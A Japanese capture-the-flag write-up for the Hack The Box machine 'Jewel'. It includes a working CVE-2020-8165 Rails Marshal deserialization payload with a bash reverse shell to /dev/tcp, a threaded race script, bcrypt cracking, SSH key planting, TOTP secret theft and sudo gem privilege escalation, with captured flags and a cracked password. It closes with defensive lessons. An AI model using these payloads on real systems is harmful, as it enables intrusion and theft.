Hack The BoxのWriteup(Jewel)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Jewel — 全実行コマンド・実行結果レポート
Nmap スキャン
22/8000(gitweb)/8080(BL0G!)
→
gitweb .git スナップショット
wget、users_controller.rb 解析
→
CVE-2020-8165 Marshal payload
activesupport 5.2.2.1 pin
→
サインアップ→ログイン→PATCH
並行GETレースでcache.delete回避
→
bill シェル
user.txt ✓
→
SSH公開鍵設置
sshdはpasswordauth無効
→
.google_authenticator
TOTP secret 生成
→
GTFOBins: sudo gem open
root.txt ✓

ポートスキャン・バージョン検出

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.70.239
nmap -sV -sC -p 22,8000,8080 10.129.70.239
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.38
| http-title: jewel.htb Git
|_Requested resource was http://jewel.htb:8000/gitweb/
|_http-generator: gitweb/2.20.1 git/2.20.1
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-title: BL0G!
🚨
重要発見: ポート8000にgitwebが公開されており、後述の `.git` スナップショット丸ごと取得が可能。ポート8080は Phusion Passenger 上で動く Rails製Webアプリ(“BL0G!”)。

/etc/hosts へ jewel.htb を追加

BASH
echo "10.129.70.239 jewel.htb" | sudo tee -a /etc/hosts
PHASE 2

gitweb からソース取得・解析

.git スナップショットの取得

BASH
wget "http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz" -O blog.tgz
tar xzf blog.tgz
⚠️
ハマりどころ: このリポジトリは約4.2MBあるが、curl -s --max-time N で取得するとエラーを一切出さずに数百KBで無言で打ち切られることがある (tar展開時に “unexpected EOF” で初めて発覚する)。wgetを使うと確実にフルサイズを 取得できた。

脆弱なコード: UsersController#update

RESULT (app/controllers/users_controller.rb)
before_action :require_user, only: [:update]
...
def update
  @user = User.find(params[:id])
  if @user && @user == current_user
    cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
    cache.delete("username_#{session[:user_id]}")
    @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
    if @user.update(user_params)
      redirect_to articles_path
    else
      cache.delete("username_#{session[:user_id]}")
      render 'edit'
    end
  end
end
🚨
raw: true での cache.fetch は activesupport 5.2.2.1 の 既知の欠陥 CVE-2020-8165 の対象で、内部的に Marshal.load される。 ただし update は 自分自身(current_user)しか対象にできない (before_action :require_user でログイン必須、かつ @user == current_user チェックあり)。

トリガー箇所: current_username (毎ページ呼ばれる)

RESULT (app/controllers/application_controller.rb)
def current_username
  if session[:user_id]
    cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
    @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
      @current_user = current_user
      @current_username = @current_user.username
    end
  else
    @current_username = "guest"
  end
  return @current_username
end
RESULT (app/views/layouts/_navigation.html.erb, 全ページ共通)
<% current_name = current_username %>
<li><span class="navbar-text"> [<%= current_name %>]</span></li>
ℹ️
ナビゲーションバー(全ページ共通)が current_username を呼び、同じ Redisキー username_<user_id> を raw: true で再度 fetch する。 書き込んだ Marshal 済みバイト列がここで読み戻され、<%= current_name %> が暗黙に呼ぶ .to_s 相当の呼び出しで RCE が発火する。

罠: User モデルのバリデーションが常に PATCH を弾く

RESULT (app/models/user.rb)
VALID_USER_REGEX = /\A[\w\d]+\z/
validates :username, presence: true, uniqueness: { case_sensitive: false },
                      length: { minimum: 3, maximum: 25 },
                      format: { with: VALID_USER_REGEX }
🚨
重大な罠: Marshal ペイロード(約270バイトの生バイナリ)は maximum: 25 にも [\w\d]+ 形式にも必ず違反する。 @user.update(user_params) は必ず失敗し、else 節の cache.delete(...) が直後に発火して、書き込んだばかりの悪性キャッシュを 消してしまう。PATCHリクエストを単発で送るだけでは絶対にRCEは発火しない (この後のPhase4で回避策を実装する)。
PHASE 3

CVE-2020-8165 Marshal ペイロード生成

activesupport 5.2.2.1 を明示指定してインストール

BASH
gem install activesupport -v 5.2.2.1 --no-document
⚠️
モダンな activesupport (7.x等) は DeprecatedInstanceVariableProxy#initialize が deprecator: キーワード必須化されており .new(erb, :result) が失敗する。ターゲットの Gemfile と同じ 5.2.2.1 を明示的に指定する必要がある。

ERB を包んだ DeprecatedInstanceVariableProxy を Marshal.dump

RUBY (payload.rb)
require 'erb'
gem 'activesupport', '5.2.2.1'
require 'active_support'
require 'active_support/core_ext/module/delegation'
require 'active_support/deprecation/proxy_wrappers'

bash_cmd = '/bin/bash -c "bash -i >&/dev/tcp/<KaliのIP>/4444 0>&1"'
code = %q{`#{bash_cmd}`}
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, '1'
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(
  ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
)
STDOUT.binmode
STDOUT.write(payload)
BASH
ruby payload.rb > payload.bin
wc -c payload.bin
RESULT
270 payload.bin
ℹ️
DeprecatedInstanceVariableProxy.new(erb, :result) は、任意のメソッド呼び出し (method_missing)を erb.send(:result) へ転送する古典的な Rails Marshal RCE ガジェット。ERB#result はテンプレート (@src、ここではバッククォートによるシェルコマンド実行)を評価するため、 デシリアライズされた瞬間に任意コマンドが実行される。
PHASE 4

サインアップ・ログイン・レース攻撃 & user.txt 取得

サインアップ (POST /users、/signup ではない)

PYTHON
import requests
s = requests.Session()
r = s.get("http://jewel.htb:8080/signup")
token = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)

s.post("http://jewel.htb:8080/users", data={
    "utf8": "✓", "authenticity_token": token,
    "user[username]": "pwnjewel", "user[email]": "pwnjewel@htb.local",
    "user[password]": "PwnJewel!2021", "commit": "Create User",
})
🚨
ハマりどころ: サインアップフォームの実際の action 属性は /users。/signup はGET専用ページで、POST /signup は404 になる(見た目のURLから類推した誤った実装で何度もハマった)。

明示的ログイン (サインアップは自動ログインしない)

PYTHON
r = s.get("http://jewel.htb:8080/login")
token2 = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
s.post("http://jewel.htb:8080/login", data={
    "utf8": "✓", "authenticity_token": token2,
    "session[email]": "pwnjewel@htb.local",
    "session[password]": "PwnJewel!2021", "commit": "Log in",
})

# ログイン後のナビゲーション "Profile" リンクから自分の uid を特定
r = s.get("http://jewel.htb:8080/articles")
uid = re.search(r'/users/(\d+)"', r.text).group(1)
⚠️
サインアップ成功後もナビゲーションバーは “Sign up”/”Log in” のままで、 セッションは自動ログインされない。別途 POST /login が必須。 自分の uid はサインアップ/ログインのレスポンス本文には現れず、ログイン後の ページの “Profile” リンク(/users/<id>")からのみ取得できる。

レースコンディションで cache.delete を出し抜く

PYTHON
import threading, time

stop = threading.Event()
def racer():
    while not stop.is_set():
        s.get("http://jewel.htb:8080/articles", timeout=3)  # current_username を呼ぶページ

threads = [threading.Thread(target=racer, daemon=True) for _ in range(25)]
for t in threads: t.start()

time.sleep(0.2)
s.post(f"http://jewel.htb:8080/users/{uid}", data={
    "utf8": "✓", "_method": "patch", "authenticity_token": edit_token,
    "user[username]": payload,   # 270バイトの生Marshalバイト列
    "commit": "Update User",
})
time.sleep(10)
stop.set()
✅
動作原理: PATCHリクエストが処理される中で、まず悪性ペイロードが raw: true でRedisへ書き込まれ(この時点でMarshal.loadされうる状態になる)、 その直後に User モデルのバリデーション失敗により cache.delete が呼ばれてキャッシュが消される。この書き込み〜削除までの ごく短い窓を、同一セッションで発行し続ける大量の並行 GET /articles (current_username を経由してキャッシュを再読込するページ)のどれかが 捉えれば、Marshal.load → ERB#result 実行 → リバースシェル、という流れになる。 実機検証では2回連続で成功した再現性の高い手法。

リバースシェル接続確認 & user.txt

BASH
# 別ターミナルで事前にリスナーを起動しておく
nc -lnvp 4444
RESULT
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.70.239] 39776
bash: cannot set terminal process group (981): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$ id; hostname; cat /home/bill/user.txt
uid=1000(bill) gid=1000(bill) groups=1000(bill)
jewel.htb
0e4afa7a16a1fed1f53beea3ef9bf337
user.txt — bill@jewel
0e4afa7a16a1fed1f53beea3ef9bf337
PHASE 5

SSH公開鍵の設置 & TOTP秘密鍵の入手

bcrypt ハッシュのクラック (SQL バックアップから)

BASH
bill@jewel:~/blog$ cat /var/backups/dump_*.sql
# → jennifer / bill の bcrypt ハッシュを回収

# Kali側でクラック
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
RESULT
bill:spongebob
1 password hash cracked, 1 left
ℹ️
このパスワードは SSHログイン用ではなく、bill のローカル(sudo)パスワードである点に注意 (次項で判明)。

罠: sshd はパスワード認証を受け付けない

BASH
sshpass -p spongebob ssh bill@10.129.70.239 id
RESULT
bill@10.129.70.239: Permission denied (publickey).
🚨
重要発見: このターゲットの sshd は PasswordAuthentication no (publickeyのみ)。sudo のパスワード(“spongebob”)とは別物で、SSHログイン自体は 鍵認証でしか成立しない。Phase6のsudo対話(PTY必須)を行うには、まず確立済みの リバースシェル経由で自前のSSH公開鍵を bill の authorized_keys に設置 する必要がある。

自前のSSH鍵を生成し authorized_keys へ設置

BASH
# Kali側で鍵ペア生成
ssh-keygen -t ed25519 -N "" -f jewel_id_ed25519

# リバースシェル経由で公開鍵を追記
bill@jewel:~/blog$ mkdir -p ~/.ssh; chmod 700 ~/.ssh
bill@jewel:~/blog$ echo "ssh-ed25519 AAAA... jewel-pentest" >> ~/.ssh/authorized_keys
bill@jewel:~/blog$ chmod 600 ~/.ssh/authorized_keys

# 以降はこの鍵でSSHログイン可能
ssh -i jewel_id_ed25519 bill@10.129.70.239 id
RESULT
uid=1000(bill) gid=1000(bill) groups=1000(bill)

TOTP secret の入手

BASH
bill@jewel:~$ cat ~/.google_authenticator
RESULT
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
PYTHON (TOTPコード生成)
import pyotp
print(pyotp.TOTP("2UQI3R52WFCLE6JTLDCSJYMJH4").now())
# → 6桁の検証コード (30秒ごとに変化)
⚠️
base32 secret の長さを16文字と決め打ちしないこと(このマシンでは26文字だった)。 コードは時間ベースで短命なため、sudo に投入する直前に生成すること。
PHASE 6

GTFOBins (gem) で root コマンド実行 → root.txt

sudo -l の確認

BASH (expect でパスワード+TOTPを自動応答)
ssh -tt -i jewel_id_ed25519 bill@10.129.70.239
$ sudo -l
[sudo] password for bill: spongebob
Verification code: <TOTPコード>
RESULT
Matching Defaults entries for bill on jewel:
    env_reset, mail_badpass, secure_path=..., insults

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem

ハマりどころ: PTY越しの複雑な引用符コマンドは文字化けする

NOTE
GTFOBinsの定石 (`sudo gem open -e'/bin/sh -c "..."' rdoc`) をそのままexpect越しに
打たせると、以下のような文字化け(文字重複・欠落)が実機で複数回発生した:

  sudo gem open -e'/bin/sh -c "base64 -d ... -d /tmp/.jwl_b64|base64 --d|/bin/sh"' rdocc
  → "-d: 1: -d: Syntax error: Unterminated quoted string"

長い行・二重引用符を含む行ほど発生しやすい。回避策: 先に(まだ確実に動く
非対話シェル経由で)root読み取り用のラッパースクリプトをターゲット上へ
設置しておき、sudo越しに打たせるコマンドは空白・引用符を一切含まない
短い1行だけにする。

ラッパースクリプトの事前設置

BASH (リバースシェル、非対話で確実)
bill@jewel:~$ set +H   # bashのヒストリ展開(!)を無効化 (shebangの!対策)
bill@jewel:~$ echo aWQ7IGNhdCAvcm9vdC9yb290LnR4dCA+IC90bXAvLmp3bF9yb290IDI+L2Rldi9udWxsOyBjaG1vZCA2NDQgL3RtcC8uandsX3Jvb3Q= > /tmp/.jwl_b64
bill@jewel:~$ printf '#!/bin/sh\nbase64 -d /tmp/.jwl_b64 | /bin/sh\n' > /tmp/.jwl_run.sh
bill@jewel:~$ chmod +x /tmp/.jwl_run.sh
⚠️
インタラクティブなbashへ #!/bin/sh をそのままタイプすると、bashの ヒストリ展開機能が !/bin/sh を履歴参照として解釈しようとして event not found エラーになり、コマンド全体が失敗する。set +H で無効化してから行う。

GTFOBins gem で root コマンド実行

BASH (SSH+expect、短い1行のみ)
$ sudo gem open -e/tmp/.jwl_run.sh rdoc
[sudo] password for bill: spongebob
Verification code: <TOTPコード>

$ cat /tmp/.jwl_root
RESULT
uid=0(root) gid=0(root) groups=0(root)
0e107a9ad25f940315562a592e0e6c95
✅
root化成功! gem open -e<editor> <gemname> は内部的に system("#{editor} #{gem_dir}") を呼ぶGTFOBins定番の悪用パターン。 -e の値に空白を含めない(スクリプトファイルへの直接パス指定)ことで、 外側のシェルによる引数分割の問題も同時に回避している。
root.txt — root@jewel
0e107a9ad25f940315562a592e0e6c95
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — bill@jewel
0e4afa7a16a1fed1f53beea3ef9bf337
root.txt — root@jewel
0e107a9ad25f940315562a592e0e6c95

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
gitweb 公開 Apache/gitweb (8000) ソースコード全漏洩 Medium .git スナップショットのダウンロードでアプリ全体のロジックを解析可能に
CVE-2020-8165 Rails/activesupport 5.2.2.1 RedisCacheStore リモートコード実行(一般ユーザー) Critical raw:true な cache.fetch/delete の競合を突く並行GETレースでMarshal RCE発火
GTFOBins (gem) /usr/bin/gem (sudo許可) 権限昇格 (root) High `sudo gem open -e<script> <gem>` の editor 引数経由で任意コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/8000(gitweb)/8080(Rails “BL0G!”)
2ソース解析gitweb .git スナップショット脆弱な update アクション、User バリデーション、navigation.html.erb のトリガー箇所
3ペイロード生成Ruby + activesupport 5.2.2.1 pinMarshal 化された DeprecatedInstanceVariableProxy(erb, :result)
4レース攻撃サインアップ→ログイン→PATCH+並行GETuser.txt 取得(bill シェル)
5権限調査bcryptクラック + SSH鍵設置 + TOTP secret入手bill:spongebob、SSH公開鍵、TOTP secret
6権限昇格GTFOBins gem (事前設置スクリプト経由)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
gitwebが認証なしで .git スナップショットを公開している gitwebへのアクセスを内部ネットワーク/VPN限定にする。少なくとも snapshot 機能を無効化する。
ActiveSupport::Cache に raw:true で信頼できない入力(ユーザー入力由来)を書き込んでいる Rails/activesupport を CVE-2020-8165 修正版(5.2.4.3以降/6.0.3.1以降)へ更新する。 raw: true のキャッシュに外部入力を直接書き込まない設計にする。
バリデーション失敗時の cache.delete がむしろ攻撃者に有利な「不安定な短命ウィンドウ」を生んでいる キャッシュ書き込みとモデルバリデーションの順序を見直し、バリデーション成功後にのみ キャッシュへ書き込む設計にする(fail-secureな順序)。
sudo で /usr/bin/gem を無制限実行可能(GTFOBins対象) sudoでの gem 実行を許可しない、または gem open サブコマンドを 制限する。可能な限り個別バイナリの sudo 許可自体を避ける。
HackTheBox: Jewel | 完全攻略レポート